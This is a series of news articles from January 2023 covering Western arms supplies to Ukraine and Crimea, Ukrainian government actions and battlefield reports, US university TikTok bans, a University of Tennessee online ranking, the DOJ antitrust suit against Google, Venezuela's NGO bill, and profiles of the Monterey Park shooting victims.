So the next few months will see Ukraine setting the conditions for the eventual liberation of Crimea.

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The U.S. has held back on offering Abrams tanks for Ukraine, saying it has concerns over whether Ukrainian forces can operate and maintain the tanks jet-fuel-powered turbine engine and other advanced capabilities.

The United Kingdom has committed Challenger tanks, and Poland has said its prepared to send German-made Leopard tanks to Ukraine, but is waiting on the green light from Berlin.

Russia holds significant territory along the southeast of Ukraine that provides its forces with a strong defense of Crimea, despite its retreat from Ukraines major southern city of Kherson in December.

Militarily retaking the peninsula  seized in an invasion in 2014  is viewed by U.S. defense officials as a nearly impossible task in the short term.

From a military standpoint, I still maintain that for this year it would be very, very difficult to militarily eject the Russian forces from all  Russian-occupied Ukraine, Gen. Mark Milley, chairman of the Joint Chiefs of Staff, told reporters last week at the Ramstein conference, a gathering of nearly 50 countries supporting Ukraine.

That doesnt mean it cant happen; doesnt mean it wont happen, but itd be very, very difficult, he added.

While holding back tanks, the U.S. has resisted sending long-range weapons that Kyiv has said are essential to liberate all territory occupied by Russia.

These include ATACMS long-range missile systems, with a range of approximately 185 miles; the Gray Eagle armed drone, which can carry up to four Hellfire missiles; and ground-launched small diameter bombs with a range of approximately 94 miles.

Hodges said that if Ukraine had weapons such as these systems, it could launch a strike from Odesa on Sevastopol, Crimeas port city where the Russian Black Sea Fleet is headquartered.

Ditto for the major logistics hub at Dzhankoy in the north of Crimea, he added.

He also said that tanks and infantry armored vehicles are meant to reinforce each other to build out a strong armored land force to follow up aerial attacks targeting Russian military positions.

Ukraine is building an armored force, Division-size or larger, that is trained and prepared to serve as the breakthrough formation for the next major offensive phase of the Campaign, Hodges wrote. Western-provided tanks  Infantry Fighting Vehicles (IFV)  and self-propelled artillery will make it even more lethal.

Gen. Valerii Zaluzhnyi, the commander of Ukraines military, told The Economist last month that Ukraine needed 300 tanks and additional heavy arms in order to push back Russia from all of Ukrainian territory.

While Ukrainian forces have allegedly carried out strikes inside Crimea, these are viewed as isolated instances that have served to shake Russian confidence rather than signal an imminent liberation.

This includes damaging the Russian-built Kerch Bridge in October, viewed as handicapping the Russian militarys logistics channel into the peninsula and striking personally at Putin, who made a show of driving a Mercedes across the bridge two months after the attack to demonstrate its operability.

Putin, his big popularity bump came when he seized Crimea and declared it Russian territory, and the Russian people have accepted that by and large, said Evelyn Farkas, executive director of the McCain Institute and who served as deputy assistant secretary of Defense during the Obama administration, with a focus on Russia and Ukraine.

If Putin loses Crimea, politically it will be a defeat for him.

The New York Times reported last week that U.S. officials are debating how far they can go in providing U.S. weapons that Ukraine can use to attack Russian forces in Crimea.

U.S. officials are worried about provoking Putin to a point of following through on nuclear weapons threats, given Crimeas importance to the Russian leader.

Russias deputy chairman of the security council, Dmitry Medvedev, rattled Russias nuclear saber a day before the Ramstein conference, writing on Telegram that The loss of a nuclear power in a conventional war can provoke the outbreak of a nuclear war. The nuclear powers did not lose major conflicts on which their fate depends.

The New York Times reported that the Biden administration has come to believe that if Ukrainian forces can show that it can threaten Russias military control over Crimea, it will strengthen Kyivs hand at any potential negotiating table.

Jeffrey Edmonds, senior adjunct fellow with the Center for a New American Security, said that the decision by the Biden administration to hold back on some of the longer-range missile capabilities is likely trying to control escalation.

The Biden administration has effectively handled that shifting line of what they perceive to be escalatory or not, he said.

Last week, Milley declined to discuss whether Ukrainians were barred from striking Crimea with U.S.-supplied materials.

American officials have earlier said that Kyiv would not use American-made weapons to strike within Russian territory, and the U.S. reportedly handicapped High Mobility Artillery Rocket System launchers provided to Ukraine to prevent it from being able to reach Russian territory.

Farkas said that the administration can strike a balance between providing Ukraine with the military might it needs to achieve its maximalist goals, even as the U.S. makes clear what actions against Russia are off limits.

If we are afraid that Ukraine will misuse the equipment, then we should state clearly to the Ukrainians  by misuse, what I mean is hit civilian targets, conduct assassinations  we should be clear with the Ukrainians and we should test them with providing them with more capable weaponry and see how they use it, she said.

Yes, we should provide Ukraine with the ability to hit weapons targets from a safe distance, in Crimea, and in any place where the Russian military is conducting operations or logistically preparing to conduct operations.

For the latest news, weather, sports, and streaming video, head to The Hill.
Volodymyr Zelenskyy

The president said the limits on international travel applies to foreign trips by national and local officials that are unrelated to their official duties.

Read also: Zelenskyy meets former UK PM Johnson in Kyiv

If they want a holiday (abroad)  they can do that, but not while theyre employed by the state, said Zelenskyy.

Officials will not longer be able to travel abroad to take a vacation or for any other reason not connected with their duties to the state.

Read also: Ukraines SBU opens another case against Russian MP Zhuravlyov

According to a message on Zelenskyys website, the personal travel ban applies to MPs, senior officials at the Cabinet, Presidents Office, National Bank, SBU security service, other government agencies, and their deputies.

Withing five days, the government will outline procedures for civil servants and officials crossing Ukraines borders while traveling on official business.

Read also: Zelenskyy addresses Ramstein participants, calls for transfer of F-16 fighter jets to Ukraine

On Jan. 20, Ukrainian media reported that Deputy Prosecutor-General of Ukraine, Oleksii Symonenko holidayed in Spain during wartime.

On Jan. 23, Ukrainska Pravda reported Symonenko has resigned from his post. Ukrainian MP Yaroslav Zheleznyak has subsequently confirmed the report.

Read the original article on The New Voice of Ukraine
President Volodymyr Zelensky signed a decree on Jan. 23, approving a proposal by the National Security and Defense Council to sanction 21 leaders and priests of the Russian Orthodox Church. Among the sanctioned is Mikhail Gundyaev, a nephew of the church's head Patriarch Kirill, who has openly supported Russia's full-scale war against Ukraine.

The list includes 16 top clerics of the Russian Orthodox Church, proposed by Ukraine's Security Service, and six more church members offered by the Cabinet of Ministers.

Some of them are responsible for the Russian Orthodox Church's cooperation with the country's military and law enforcement, public communications. Others are known for publicly justifying Russian aggression against Ukraine and spreading pro-war propaganda.

Sergei Ryakhovsky, the head of the Spiritual Council of the Russian United Union of Evangelical Christians (Pentecostals), was also sanctioned.

"Sanctions have been introduced against 22 people  Russian citizens who support terror and genocidal politics under the guise of spirituality," Zelensky said in his video address on Jan. 23.

In June, Patriarch Kirill said that Russian troops fighting against Ukraine were "protecting Russiaguided by an inner moral feeling based on the Orthodox faith." Earlier, he denied Moscow's aggression against Ukraine, saying that Russia "has never attacked anyone."

During Russia's full-scale invasion, the Russian Orthodox Church has also illegally annexed two dioceses of its autonomous Ukrainian branch - the Crimean diocese and the Rovenki diocese in Luhansk Oblast - in parallel with Russia's illegal annexation of Ukrainian regions. Previously they were subordinated to the Moscow-affiliated metropolitan of Kyiv, but now they are controlled directly by Patriarch Kirill.

In December, Ukraine also sanctioned leaders and clergy members of the Ukrainian Orthodox Church- Moscow Patriarchate (UOC-MP), an affiliate of the Russian Orthodox Church, which was subject to multiple SBU raids earlier.

During these raids, the SBU found Russian propaganda and xenophobic literature, Russian passports belonging to senior clergy, and documents with pro-Russian ideological messages at the premises of the UOC-MP.
The Commander-in-Chief of the Armed Forces of Ukraine, General Valerii Zaluzhnyi, inherited US$1 million from a Ukrainian American in the United States. In turn, he donated all the money to the Ukrainian army.

Source: The New York Times

Details: The publication reports that Zaluzhnyi received an inheritance from an American of Ukrainian origin, Hryhorii Stepanets. This was reported by the Stepanets family.

In January, the general donated the entire amount to the Armed Forces of Ukraine. The militarys press service confirmed the donation.

The Armed Forces of Ukraine (AFU) confirmed this information, in response to Ukrainska Pravdas request.

Indeed, Stepanets left Zaluzhnyi an inheritance of US$1 million.

Quote from AFU: "General Zaluzhnyi transferred the full amount to the special account at the National Bank of Ukraine dedicated to the Ukrainian Army. SWIFT transaction details from the bank on 5 January 2023 confirmed this.

Quote from Zaluzhnyi: "I gave my whole life to the Armed Forces. And I did not have a single doubt about what to do with the inheritance. Mr. Hryhorii's last will was obviously to support the Ukrainian army through me. I am grateful to everyone who helps the Armed Forces of Ukraine. And I am grateful to my family for their understanding."

Biography of Stepanets for reference:

Stepanets was born in 1938 in the Ukrainian city of Vinnytsia. His father fought in World War II and was killed by the Germans in October 1941. Hryhorii and his mother were evacuated to the Urals, where they suffered from hunger and other hardships. Following the end of the war, they returned to Vinnytsia.

There was also very little food in the city at that time. They survived only thanks to their uncle who had fought in the war (he had been wounded and had lost a leg), who shared his military rations with them.

Stepanets graduated from a middle school and joined the Moscow State University named after Mikhail Lomonosov in 1956; he graduated with a masters degree in Mathematics and Chemistry, as well as a PhD in Physical Chemistry. He was fluent in Ukrainian, Russian, German, Italian and English.

Story continues

While working at the Geophysical Research and Development Institute in Moscow, he signed a letter in support of anti-Soviet dissidents; soon after that, the Soviet government dismissed him on trumped-up charges. Later, the KGB prosecuted him, and he could no longer get a job. He filed an application for a visa, but they rejected it.

The situation changed when Gorbachev came to power, and Stepanets was granted the right to leave the Soviet Union. In 1989, he arrived in the USA and started working for Microsoft in Redmond, Washington, working as a software developer. Together with another software developer, he invented a patent for decoding the variable-length data codes; the patent was handed over to Microsoft.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!






Ukraines Defence Forces repelled Russian attacks near settlements in Donetsk and Luhansk oblasts and hit 11 clusters of the invaders military manpower over the course of 23 January.

Source: General Staff of the Armed Forces of Ukraine

Details: Over the course of the past 24 hours, Russian forces carried out nine missile strikes on the settlements in Kharkiv, Donetsk and Zaporizhzhia oblasts and 27 airstrikes. They deployed multiple-launch rocket systems [MLRS] to carry out 79 further attacks.

The Russians kept performing offensive operations on the Bakhmut and Avdiivka fronts despite suffering heavy losses. On the Kupiansk front, the invaders offensive actions were unsuccessful; all their attacks were repelled by Ukrainian defenders.

The Russians are defending their positions on the Lyman, Novopavlivka, Zaporizhzhia and Kherson fronts.

Over the course of the past 24 hours, Ukraine's Defence Forces repelled the invaders attacks in the vicinity of Chervonopopivka in Luhansk Oblast; and Bilohorivka, Rozdolivka, Sil, Krasna Hora, Bakhmut, Klishchiivka, Novobakhmutivka, Krasnohorivka, Vodiane and Marinka in Donetsk Oblast.

The Russians kept attacking the settlements along the contact line. Areas in and around Buchky and Mykhalchyna Sloboda (Chernihiv Oblast); Novovasylivka and Kozache (Zaporizhzhia Oblast); and Sopych and Kucherivka (Sumy Oblast) came under Russian artillery fire. Civilians have been killed. In addition, Studenok, Boyaro-Lezhachi, Stukalivka, Vorozhba, Yunakivka and Volfyne (Sumy Oblast) and Huriv Kozachok, Strilecha, Slobozhanske, Zelene, Ternova, Starytsia, Vovchansk, Zemlianky, Novomlynsk, Kamianka and Krasne Pershe (Kharkiv Oblast) were attacked as well.

On the Kupiansk front, the Russians attacked the areas near Dvorichna, Hrianykivka, Kupiansk, Kucherivka, Kyslivka, Tabaivka, Krokhmalne, Berestove and Kruhliakivka in Kharkiv Oblast, as well as Novoselivske, Stelmakhivka and Andriivka in Luhansk Oblast.

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On the Lyman front, Russian forces fired on Makiivka, Ploshchanka, Chervonopopivka, Kreminna, Dibrova and Kuzmyne in Luhansk Oblast.

On the Bakhmut front, areas of 21 settlements came under Russian fire from artillery, tanks and mortars. This refers to Spirne, Vyimka, Berestove, Bilohorivka, Vesele, Rozdolivka, Krasna Hora, Paraskoviivka, Bakhmut, Chasiv Yar, Klishchiivka, Kurdiumivka, Ozarianivka, Maiorsk and New-York in Donetsk Oblast.

On the Avdiivka front, the invaders struck Berdychi, Avdiivka, Vodiane, Nevelske, Krasnohorivka, Heorhiivka, Marinka and Novomykahilivka in Donetsk Oblast.

On the Novopavlivka front, the invaders attacked Paraskoviivka, Mykilske, Vuhledar, Prechystivka, Neskuchne and Velyka Novosilka in Donetsk with tanks, artillery and mortars.

Russian artillery inflicted damage on settlements on the Zaporizhzhia front, including Komyshuvakha in Donetsk Oblast and Chervone, Huliaipole, Charivne, Mala Tokmachka, Novodanylivka, Orikhiv, Novoandriivka and Stepove in Zaporizhzhia Oblast.

On the Kherson front, the occupiers are attacking civilians daily. They deployed MLRS and tubed artillery to fire on Antonivka and Kherson.

Ukraines Air Force conducted eight airstrikes on clusters of Russian occupation forces, weapons and military equipment, as well as a strike on a position of an anti-aircraft missile system.

Over the course of the past 24 hours, Ukrainian defenders shot down two Russian Su-25 interceptor jets, one Ka-52 helicopter, one Orlan-10 UAV and two Kh-59 guided air-launched missiles.

Ukraine's Rocket Forces and Artillery units struck three clusters of Russian military personnel and equipment, as well as one logistics storage point.

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Foreign Minister Dmytro Kuleba commented on media reports about Ukraine receiving Leopard 2 tanks from Germany and M1 Abrams tanks from the United States.

Source: Kuleba on Facebook, reported by European Pravda

" Now F16?

Yes.

I'm on it, my friend.

I just received a question from a European colleague. And I answered him. He knows what to do," the foreign minister said.

He did not specify which country he was referring to. But it became known last week that the Government of the Netherlands was potentially ready to discuss providing Ukraine with F-16 fighter jets if Kyiv voiced such a request.

Before that, the publication Spiegel reported on the decision of Germany to approve the supply of Leopard 2 tanks to Ukraine.

German Chancellor Olaf Scholz is expected to announce the supply of tanks to Ukraine on Wednesday, 25 January, during his address in the Bundeswehr scheduled for 13:00. He may also announce that Germany will permit re-export of Leopard 2 tanks from other European countries.

Berlin's decision has likely followed intense multi-day consultations with allies, particularly the United States. Scholz emphasised that he wants to supply Ukraine with combat tanks only in cooperation with other countries.

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The Air Force of the Armed Forces of Ukraine has shot down a Russian Su-25 ground attack jet in Donetsk Oblast.

Source: General Staff

Quote: "Defence Forces of Ukraine have shot down another enemy Su-25 jet in Donetsk Oblast."

Background:

On 23 January, Air Force of Ukraine's Armed Forces downed three Ka-52 helicopters within three hours, from 00:00 till 03:00.

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Vyacheslav Shapovalov

He said his decision was motivated by the desire to remove threats to the stable provision of the army, which has said had arisen due to a campaign of allegations against him.

The ministry press service said Shapovalovs resignation would preserve the trust of Ukrainian society and the countrys international partners, andensure objectivity during additional clarifications and possible investigations.

Ukrainian Defense Minister Oleksii Reznikov supported Shapovalovs resignation and submitted the relevant motion to the Cabinet of Ministers.

On Jan. 21, the founder of the Nashi Hroshi (Our Money) investigation project, Yuriy Nikolov, said in an article published on ZN.ua that the Defense Ministry purchases food products for military personnel at prices two to three times more expensive compared to the prices in Kyiv stores.

In particular, he compared certain items with the prices in the capitals Silpo supermarket. The journalist refers to documents received from a source in the Armed Forces of Ukraine.

The department stated the data given in the publication are being disseminated with signs of deliberate manipulation, and are misleading.

Minister Reznikov called the scandal an attempt to undermine trust in the departments leadership.

The Presidents Office has announced an inspection. The ministry also promises to conduct an internal audit and is preparing materials for the SBU security service to conduct an investigation into deliberately false information that harms the interests of defense in a special period.

Read also: Odesa businessman charged with corruption released on bail

In turn, the National Anti-Corruption Bureau of Ukraine reported that its agents, together with the Specialized Anti-Corruption Prosecutors Office, were investigating possible abuses by the Defense Ministry during the purchase of food products for the military.

The investigators are checking purchases worth more than UAH 13 billion ($355.5 million).

The supplier company, Aktyv, with which the Defense Ministry had concluded a contract and which Nikolov in his material suggested was most likely an intermediary company profiting off the supply of food to the army, has declared the reports to be deliberate manipulation.

Read the original article on The New Voice of Ukraine
Logo Photo Illustration

In this photo illustration a TikTok logo is displayed on a smartphone screen in Athens, Greece on January 18, 2023. Credit - Nikolas KokovlisNurPhoto/Getty Images

Public universities across the U.S. are banning their students beloved TikTok app from their schools. In some cases, this means no students, faculty members, staff, or visitors are able to access the short-form video platform on school devices or on the campus WiFi networks.

At least 20 public universities have made the decision to ban the app from their servers or have recommended their students to remove the app from their personal devices, according to NBC News. Most of the universities are acting under pressure from state lawmakerssome of whom have passed laws banning TikTok from state-owned devices.

Auburn University, University of Oklahoma, University of Texas-Austin, and Texas A&Mthe biggest college campus in the U.S.are among the growing list.

Why universities are banning TikTok

The bans stem from security concerns regarding the apps China-based parent company ByteDance. U.S. security experts are worried ByteDance could share its extensive collection of data on American users with the Chinese government.

We do have national security concerns, said FBI Director Christopher Wray at a Homeland Security Committee hearing in November. They include the possibility that the Chinese government could use it to control data collection on millions of users.

In the past, U.S.-based executives in charge of TikTok have denied that the app is being influenced by Beijing. The Chinese Communist Party has neither direct nor indirect control of ByteDance or TikTok, the company said in a statement. ByteDance is a private, global company, nearly 60 percent of which is owned by global institutional investors, with the rest owned primarily by the companys founders and its employeesincluding thousands of Americans.

(U.S. skeptics say that Chinas broad security laws would require ByteDance to share data with the Chinese government if asked.)

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More than 30 states have ramped up their efforts to limit access to the app and many public universities, which fall under the purview of state laws, are following suit. In the case of Texas A&M, one of the largest public universities in the country with nearly 75,000 students, TikTok has been totally banned.

More from TIME

Even the universitys popular TikTok accounts are no exception. Their TAMU Physics & Astronomy page with over 1.5 million followers updated its bio to read, We no longer post to TikTok. Check our YouTube for the latest videos! Their last video upload on the platform was on Dec. 6.

This decision from the Texas university came after Texas Gov. Greg Abbott ordered TikTok to be banned from all Texas state agency devices. Now other large public universities are feeling pressure to do the same. The University of Florida recently said theres a strong possibility theyll also establish a ban.

Attempts to limit access to the app on the federal level have existed for years. In 2020, former President President Donald Trump threatened to ban the app nationwide due to national security concerns. The Trump Administration also pushed for Bytedance to sell its U.S. operations to a U.S.-based company. Oracle and Walmart were among reported suitors, but no deal came to fruition.

How students are reacting

Students arent happy. I didnt think Texas public universities banning TikTok would have that much of an effect on me, but Ive tried to open TikTok 3 times in the past 2 hours and shes just gone, wrote Sidney Golden on Twitter.

i didnt think texas public universities banning tiktok would have that much of an effect on me, but ive tried to open tiktok 3 times in the past 2 hours and shes just.. gone  sid  (@sidneygolden_) January 19, 2023

But as much as these universities are attempting to limit their students access to TikTok, they wont be able to fully eliminate it from their phones. Many of users are still accessing the app via their cellular data, personal WiFi networks, or VPNs.

Eric Aaberg, a student at the University of Austin, is still making TikToks on his personal page, but will no longer be able to work on the universitys mascot page, which hes been helping to develop for years. People loved it and now it just rots away, he told his followers following his universitys ban. I dont care if you dont like TikTok. This is my job. This is what I do for a living.

TikTok is one of the most popular social media apps in Americaespecially for Gen Z, which makes up the largest portion of current college students. The app has about 80 million monthly active users in the United States, 60% of whom are 16 and 24, according to digital marketing agency Wallaroo Media.

Will the U.S. ban TikTok?

Some restriction on the app at the federal level have been successful. In December, Congress successfully banned the Chinese-owned app from all federal government devices.

Were disappointed that Congress has moved to ban TikTok on government devices  a political gesture that will do nothing to advance national security interests  rather than encouraging the Administration to conclude its national security review, said Brooke Oberwetter, a TikTok spokesperson, following the passing of Congress bill.

Questions remain on whether a federal ban of the platform would run afoul of free speech rights. In the meantime, a bipartisan bill in the U.S. House is calling for an outright ban of the app for all U.S. users due to concerns of Chinas Communist Party having access to the apps data.

It is time to ban Beijing-controlled TikTok for good, said Florida Sen. Marco Rubio in a press release on the legislation.
University of Tennessee improved its ranking in some areas for its online program offerings in 2023, according to data from US News and World Report.

As University of Tennessee at Knoxville administrators work to improve the school's online offerings to meet the demands of students who want remote options, some of its programs are climbing in national rankings.

The university's online master's degree in supply chain management program, for instance, is ranked at No. 4 in the business category by U.S. News and World Report.

UT is the only university in the state to be ranked among the top 100 in the category.

For the supply chain program catered specifically to veterans, which has been a focus in recent years, the master's degree in supply chain management is ranked No. 2 behind the University of Southern California.

"We pride ourselves in our ability to server our veterans," said Shay Scott, a Haslam College of Business professor.

While in-person education was a top priority of the business college over the years, that outlook is changing as students seek out classes that meet them where they are, Scott said.

It's an emphasis for the greater university as well, Provost John Zomchick told Knox News.

"We are investing in online programming and building out our capacity for more online programs, especially to extend support to our faculty," Zomchick said.

UT established its distance education program in the 1980s and now offers more than 70 fully online programs. The university is considering adding different types of programs, Zomchick said.

In fall of 2022, the university enrolled 1,828 students in its distance learning programs, according to data shared with Knox News by the university. Out of this, 162 were undergraduates.

The university is proud of its outreach to veterans, Zomchick said.

"We seek to serve our veterans in all areas," he added, through initiatives such as the Veterans Success Center.

Business rankings shine, others fall

The supply chain management program is the only one that was submitted for the business master's category, Scott told Knox News. The program was launched in 2019 and enrolls 197 students.

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UT launched its online MBA program this semester. The program is ranked No. 4 overall, tied with Penn State.

"This was our debut, and quite a nice one," Scott said.

Last year, the university ranked 80th in the country for its online bachelor's programs, tied with six other universities. This year, it moved up to 74, tied with 10 others, according to the U.S. News and World Report data.

Not all programs moved up. UT's master's in engineering program went from 27th last year to 37th this year.

The university's overall ranking is 115.

How much do University of Tennessee online classes cost?

UT's per-credit cost for online education last year was $378 for in-state students and $453 for out-of-state students. This year, that number is up to $439 for in-state and $514 for out-of-state, which is an increase of about 16% for in-state and about 13% for out-of-state.

In comparison, the University of Florida, which has retained the top spot two years in a row, is priced about $130 per credit hour for Florida students and $552 for out-of-state students.

Areena Arora is a data and investigative reporter. You can reach her at areena.arora@knoxnews.com, and follow her on Twitter @AreenaArora. Support our newsroom's exclusive, in-depth local coverage by subscribing at knoxnews.com/subscribe.

This article originally appeared on Knoxville News Sentinel: University of Tennessee sees overall progress in online course ranking
FILE - A sign is shown on a Google building at their campus in Mountain View, Calif., on Sept. 24, 2019. The Justice Department and several states sued Google on Tuesday, Jan. 24, 2023, alleging that its dominance in digital advertising harms competition. (AP Photo/Jeff Chiu, File) - Jeff Chiu/AP

Google is being sued by the US government, which wants to break up the companys core advertising business.

Unveiled on Tuesday night, the US federal government lawsuit alleges Google abuses its dominance of the 488bn global online advertising industry.

Google has used anticompetitive, exclusionary, and unlawful means to eliminate or severely diminish any threat to its dominance over digital advertising technologies," said the 149-page complaint, filed by the Department of Justice in a federal court in eastern Virginia.

Deputy US attorney general Lisa Monaco added: In pursuit of outsized profits, Google has caused great harm to online publishers and advertisers and American consumers.

Google has faced repeated accusations for years that its sheer size, at $1.27 trillion (1.02 trillion), means it can exert undue influence on global digital advertising markets.

A Google spokesman responded to the lawsuit by saying the US government was doubling down on a flawed argument that would slow innovation, raise advertising fees, and make it harder for thousands of small businesses and publishers to grow.

Googles online advertising business accounts for about 80pc of its total income. Those digital ads are mostly displayed on its search engine as well as its YouTube video streaming website.

The DoJ lawsuit is the first to explicitly seek a break-up of Google and will draw comparisons with the EUs pursuit of Microsoft under the blocs competition laws in the 2000s.

Britains Competition and Markets Authority is among other global regulators with active investigations into the companys business practices. UK regulators are investigating whether Google, together with Apple, are distorting competition in internet browsers.

The lawsuit will run in parallel with a 2020 competition lawsuit brought against Google by Donald Trumps administration. That case also alleged abuse of market dominance.
The decision concerning supplying Ukraine with the M1 Abrams American tanks is expected this week. Ukraine may get be as many as 30 such tanks.

Source: European Pravda, with reference to the Politico media outlet

A third person familiar with the issue told Politico that the tanks will most likely be handed over to Ukraine within the framework of the Ukraine Security Assistance Initiative.

The program allows Washington to finance the purchase of weapons and equipment for Ukraine, as opposed to pulling them from existing U.S. stockpiles.

In recent weeks, U.S. officials have publicly cited the difficulties of providing the M1s, the Armys main battle tank. They have said the Abrams made little operational sense for Ukraine at this moment because they guzzle jet fuel and require long supply lines to maintain.

The Wall Street Journal was one of the first media outlets to report that the Biden administration was leaning toward sending "a significant number" of M1 Abrams tanks to Ukraine.

This decision is expected to become a part of a "broader diplomatic agreement" with Germany, according to which Berlin will agree to send a smaller quantity of its own Leopard 2 tanks and approve the supply of a larger quantity of these tanks by Poland and other countries.

Meanwhile, Olaf Scholz, the chancellor of Germany, made a decision to supply Ukraine with the Leopard 2 combat tanks. Moreover, this Wednesday, Germany may announce its approval of re-export of its tanks to Ukraine from other European countries.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!






CARACAS (Reuters) - Venezuela's National Assembly on Tuesday passed a first reading of a bill to regulate and inspect non-governmental organizations (NGOs) in the South American country, which has caused uproar among activists.

If the bill is passed into law following a second reading - promised to come quickly by National Assembly President Jorge Rodriguez - advocacy groups fear it will silence Venezuela's NGOs and stop them from carrying out their work with new threats and intimidation.

The legislative project is gathering pace while Venezuela waits for the UN High Commissioner for Human Rights, Volker Turk, to visit the country at the end of this week following his tour of the region.

"Criminalization advances. NGOs in Venezuela could be fined up to 200 Petros ($12,000) if they don't comply with the new law," local NGO the Venezuelan Action Education Program (Provea) said in a message on Twitter.

The Petro is a cryptocurrency which was launched by Venezuela's government in February 2018.

The 15-page bill entitled "law for the control, regularization, activities and financing of non-governmental and related organizations" was presented by deputy Diosdado Cabello, who is second in command of Venezuela's ruling party.

"If you are genuine and dedicated to social and humanitarian work, do you have anything to fear? You can register (and) the financing can be reviewed," Cabello said at in a broadcast via state television.

"Those screaming are those who are up to no good," he said, adding that some NGOs worked towards political goals and were backed by foreign governments.

More than 500 NGOs and foundations work in Venezuela, focused on topics including prisoner wellbeing, monitoring violence, investigating extrajudicial killings and reviewing economic indicators, among others.

If the bill is approved NGOs will have to declare their assets, balance sheets, financial statements and their "relationship with donations received, with full identification of the donors, indicating whether they are nationals or foreigners," according to the bill's text, published by the National Assembly.

These NGOs will be banned from "carrying out political activities, promoting or allowing actions that threaten national stability and the institutions of the republic," among others, according to the text.

(Reporting by Vivian Sequera; Writing by Oliver Griffin; Editing by Stephen Coates)
The victims of Saturdays mass shooting at the Star Ballroom Dance Studio included a beloved manager and many longtime regulars who were excited to ring in the Lunar New Year at the popular dance hall.

Eleven people were killed and nine others were injured in the massacre in Monterey Park, California, authorities said, making it one of the states deadliest mass shootings in modern history. The dead were in their 50s, 60s and 70s, according to the Los Angeles County coroners office.

Hundreds of mourners gathered outside the Monterey Park City Hall on Tuesday night to honor the lives lost.

People gather at a candlelight vigil for victims of a mass shooting at a ballroom dance studio in Monterey Park, Calif. (Mario Tama / Getty Images)

Reflecting the immense diversity of the region, prayers were said in several different languages, including Cantonese, Taiwanese, English and Spanish. A White House official shared a personal message from President Joe Biden, who told the crowd the nation was keeping them in its prayers.

To the loved ones left behind, no one should ever have to experience the deep gripping sorrow you are feeling or endure the despair of yet another senseless act of violence," the statement read in part.

The coroners office released a full list of the victims Tuesday.

Ming Wei Ma, 72

Ma was an always wonderful dance instructor who played a role in running the studio, said Daniel Buhala, a co-owner of Dance Around the Clock studio in nearby Monrovia. Buhala met Ma about five years ago.

Ming Wei Ma.

When people came, he was always welcoming. You want a coffee? You want this, you want that? He was always taking care of people, Buhala said.

Buhala said Star Ballroom has a huge dance floor and frequently hosts parties and other social events. On Saturday, the dance studio in the majority-Asian community was packed with revelers.

Eric Chen, a pastor and educator who lives in San Gabriel, said the massacre was particularly shocking because the dance studio had always been a place where everyone felt comfortable. He had known Ma, the dance instructor, since December 2021.

Story continues

He always showed a lot of respect to everybody, Chen said. He was very kind.

Monterey Park council member Yvonne Yiu said she was heartbroken to learn Ma, her longtime dance instructor, was among those killed.

When they first met, Ma asked Yiu if she could sing and immediately brought her on stage for a duet, Yiu said at Tuesday's vigil. They went on to sing together a few times over the years, always to Mas favorite tune: Please Follow Me.

I want to say to teacher Ma, although I cant follow you now eventually I would like to follow you to heaven and sing and dance with you again, Yiu said through heavy emotion.

Hong Jian, 62

Jeff Liu had been dancing at the ballroom with his wife, Hong Jian, who used Nancy as her English name. He heard loud shots, which for a few seconds he assumed were fireworks for the new year celebration.

Then he saw Nancy, fatally wounded, fall to the ground, he said.

"I'm calling my wife, 'Look, look, wake up, wake up!'" said Liu, who sustained a shoulder injury from the gunshots.

Nancy loved volleyball, dancing, singing and music. The couple had been going to the dance studio for about a decade, Liu said. They were married for nearly 40 years and have a daughter.

My Nhan, 65

Nhans family said on Twitter that she had been going to the studio for years.

Its still sinking in what happened to Mymy, they said, adding: If you knew her, you knew her warm smile and kindness were contagious. She was a loving aunt, sister, daughter and friend. Mymy was our biggest cheerleader.

Valentino Alvero, 68

Family members said Alvero had three grandchildren and loved his nieces and nephews, NBC Los Angeles reported, and he was remembered as the "life of any party."

Valentino Alvero. (@karmelkwan via Twitter)

We wish we could let him know that we will all miss him for the rest of our days on this earth, the family said in a statement, according to the station. We hope that he danced to his hearts content until the very end and hope that he is now dancing in heaven.

The Philippine Consulate in Los Angeles said in a statement that Alvero was a U.S. citizen of Filipino descent and offered assistance to Alveros family in whatever possible way.

Diana Tom, 70

Tom's family said she was a hardworking mother and grandmother who loved to dance, and was doing just that with friends the night she was killed.

Diana Tom. (Courtesy family)

"To those who knew her, she was someone who always went out of her way to give to others," her family said in a statement.

A GoFundMe account has been set up to benefit the families of all the shooting victims, Toms family said, adding that the fund adds to Tom's legacy of giving and helping others.

Yu Kao, 72

Yu Kao. (Courtesy family)

Yu Kao helped protect his longtime dance partner, a woman named Shally. She said she and Yu Kao, who is known as Andy, hid under a table when the gunfire began. When it ended, she tried to get him up, she realized hed been shot.

He tried to cover us, Shally said.

Xiujuan Yu, 57

Xiujuan Yu, like the other victims, intended to celebrate Saturday night when her life was senselessly taken.

Xiujuan Yu. (Courtesy Yu family)

What was meant to be a night out celebrating the Lunar New Year with friends ended up being a devastating and life-changing event for my family, Yus niece wrote in an online fundraiser to help bury her.

Yu immigrated to the United States from China in the early 2010s, dreaming of a new future for her family, her niece wrote. Yu had three children, two of whom are in college.

Personally, this still doesnt feel real. It happened all too quickly  we never even got a chance to properly say goodbye, her niece wrote.

Chia Ling Yau, 76

Chia Ling Charlie Yau was a caring father, uncle, brother and friend, his family said in a statement.

Chia Ling Yau. (Courtesy Yau family)

He was a happy, fun-loving individual who believed in living life to the fullest. Taking every opportunity to cultivate his love of music, dance and travel, he often expressed gratitude for life and reflected upon the lessons he learned, his family said.

Yau treasured his friendships and enjoyed spending time with his loved ones. As a father, he was generous with words of love and affirmation, his family said.

He was always there for the family with a helping hand," they said. The Yau family also expressed their condolences to all the other families impacted by the tragedy.

Muoi Ung, 67

Ung was a Chinese-Vietnamese refugee from Vietnam who found solace in the flourishing Asian community of Monterey Park, according to a statement provided by the Ung family.

Even though she didn't live in Monterey Park, Ung was a frequent visitor to its many restaurants and social gatherings throughout the years. She knew this is where the heart of the Asian-American community beat strongest, the statement read in part.

[She] loved to dance. She also liked to eat and gamble  sometimes, I hear, she even tried to do all three at the same time," the statement said. "Much like our community, she was complicated, messy, easy to love and sometimes hard to understand from the outside.

Ung had been separated for decades from extended family, who immigrated to the United States throughout the 1970's and '80s. This past month, her daughter, who lived in a different country, reunited with Ung for the first time in many years.

My cousin has come to visit her mother and now to bury her, the statement read.

Our family story has echoes all over our San Gabriel Valley community - of war, migration, loss, love, hardship, hard work, pain, and joy, Ungs family added. Let us come together stronger as a family and community. Let us make sure that beyond this moment, we continue to dance and create spaces for joy.

